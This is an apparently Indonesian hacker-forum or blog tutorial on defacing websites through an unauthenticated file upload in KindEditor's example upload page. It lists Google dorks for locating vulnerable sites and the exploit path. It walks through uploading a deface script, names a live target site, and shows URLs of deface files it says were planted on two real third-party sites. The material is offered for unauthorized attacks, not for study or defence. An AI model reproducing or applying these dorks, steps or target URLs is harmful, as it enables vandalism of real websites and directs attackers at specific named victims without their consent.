DEFACE POC KINDEDITOR EAZY BOSQUU:V

 

Assalamuakaikum,ngebb

Kembali lagi dengan gw,Erik.Manusia terkece dan terkeren sedunia:v

Kali ini gw akan memberi kalian para heker:v deface poc kindeditor:v

Sebenernya gw males buat bikin konten ini>_<tapi yaudah..terpaksa.#curhat:v

Langsung aja ke tutor ngeep...

______________________________________

______________________________________

BAHAN:

1.Dork:

inurl:examples/uploadbutton.html

inurl:kindeditor

inurl:/kindeditor/examples/

.2.Exploit:

/kindeditor/examples/uploadbutton.html

3.Script deface kesayangan:>

(Gapunya ngerecode sana>_<)

4.Kopi

5.Doii:v

______________________________________

2.TUTOR:

Dork dulu dengan dork diatas-_-

Aslinya banyak sih,webnya yg masih vuln

Nah...tenang aja,gw selalu kasih live target kok..biar mudah klean-_-gausah ngedork

Live target:http://www.uitstor.com/en/public/js/kindeditor/examples/uploadbutton.html

Tuh link target pencet aja sayankk>_<

Pertama tekan upload ogeyy!,trus cari script deface kesayangan :#jika sudah...

Nah. Otomatis di kolomnya ada path/em...apa ya..gatau lah intinya lu copy aja-_-huh

/en/public/js/kindeditor/attached/file/20210611/20210611091503_15379.html

Nah..ini punya gw-_-

Tinggal manggil scriptnya deh.

Caranya:webnya.com/pastekan link yg barusan:v

Misal:http://www.uitstor.com/en/public/js/kindeditor/attached/file/20210611/20210611091503_15379.html

Okey...cek

http://jlmaida.com/public/files/file/20210611/20210611094824_47490.html

Noh...work cuy:v

Sekian..terimagaji>_<

Assalamualaikum....:)